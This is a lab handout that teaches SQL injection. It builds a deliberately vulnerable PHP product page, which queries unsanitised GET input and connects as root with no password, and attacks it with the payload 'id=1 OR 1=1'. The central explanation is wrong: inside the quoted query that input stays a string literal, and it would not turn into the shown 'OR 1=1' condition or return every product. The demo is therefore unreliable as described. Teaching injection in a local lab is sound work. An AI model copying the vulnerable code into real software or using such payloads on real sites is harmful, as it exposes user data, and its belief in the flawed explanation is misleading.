Mini Project 2: Implementing SQL Injection Attack to Display All Products

Aim:

To demonstrate an SQL injection vulnerability in a web application and exploit it to retrieve details of all products from the database.

Problem Statement:

A vulnerable e-commerce website retrieves product details based on user input. However, improper input validation allows an attacker to manipulate the SQL query and extract details of all available products using SQL injection.

Prerequisites:

- Basic knowledge of **HTML**, **PHP**, and **SQL**
- Understanding of how **web forms** interact with databases
- Awareness of **web security vulnerabilities**

Software Required:

- XAMPP (Apache, MySQL, PHP, and phpMyAdmin)
- Web browser (Google Chrome, Firefox, etc.)-
- Code editor (VS Code, Sublime Text, or Notepad++)

Hardware Required:

- A computer with at least 4GB RAM
- Processor: Intel i3 or higher / AMD Ryzen equivalent
- Storage: 10GB free space

Learning Objectives:

- Understand how SQL injection exploits vulnerabilities in web applications.
- Learn how improper input handling can lead to database breaches.
- Gain hands-on experience in executing an SQL injection attack.
- Explore methods to prevent SQL injection in web applications.

Outcomes:

After completing this lab, students will be able to:

- Identify SQL injection vulnerabilities in a website.
- Execute an SQL injection attack to retrieve sensitive data.
- Implement security measures to prevent SQL injection.

Theory:

1. What is SQL Injection?

SQL Injection is a web security vulnerability that allows an attacker to interfere with the queries a web application makes to its database. It can be used to:

- Retrieve sensitive data
- Modify database records
- Execute administrative database commands

2. How Does SQL Injection Work?

A vulnerable SQL query in PHP:

Code:

```php
$product_id = $_GET["id"];
$query = "SELECT * FROM products WHERE id = '$product_id'";
$result = mysqli_query($conn, $query);
```

This query directly inserts user input (`$_GET["id"]`) into the SQL statement.
If a user enters `1 OR 1=1`, the SQL becomes:

Code:

```sql
SELECT * FROM products WHERE id = '1' OR 1=1;
```

Since `1=1` is always true, all product records will be displayed instead of just one.

3. Exploiting SQL Injection to Display All Products

Step 1: Setup a Sample Vulnerable Website

Create a `products` table in MySQL:
Code:

```
CREATE TABLE products (
    id INT PRIMARY KEY,
    name VARCHAR(100),
    price DECIMAL(10,2)
);
```

Insert sample data:
Code:

```
INSERT INTO products (id, name, price) VALUES (1, 'Laptop', 50000), (2, 'Phone', 30000), (3, 'Headphones', 2000);
```

Step 2: Implement a Vulnerable PHP Script
Code:

```
<?php
$conn = new mysqli("localhost", "root", "", "sql_injection_demo");

if (isset($_GET["id"])) {
    $product_id = $_GET["id"];
    $query = "SELECT * FROM products WHERE id = '$product_id'";
    $result = mysqli_query($conn, $query);

    while ($row = $result->fetch_assoc()) {
        echo "<p>Product Name: " . $row["name"] . "</p>";
        echo "<p>Price: $" . $row["price"] . "</p>";
    }
}
?>
```

Step 3: Execute SQL Injection
Open the page in a web browser:
Code:

```
http://localhost/products.php?id=1 OR 1=1
```

This query returns all products instead of just one.

Conclusion

SQL Injection is a serious security threat that allows attackers to manipulate database queries and access sensitive data. By using prepared statements and proper input validation, we can effectively prevent SQL injection attacks.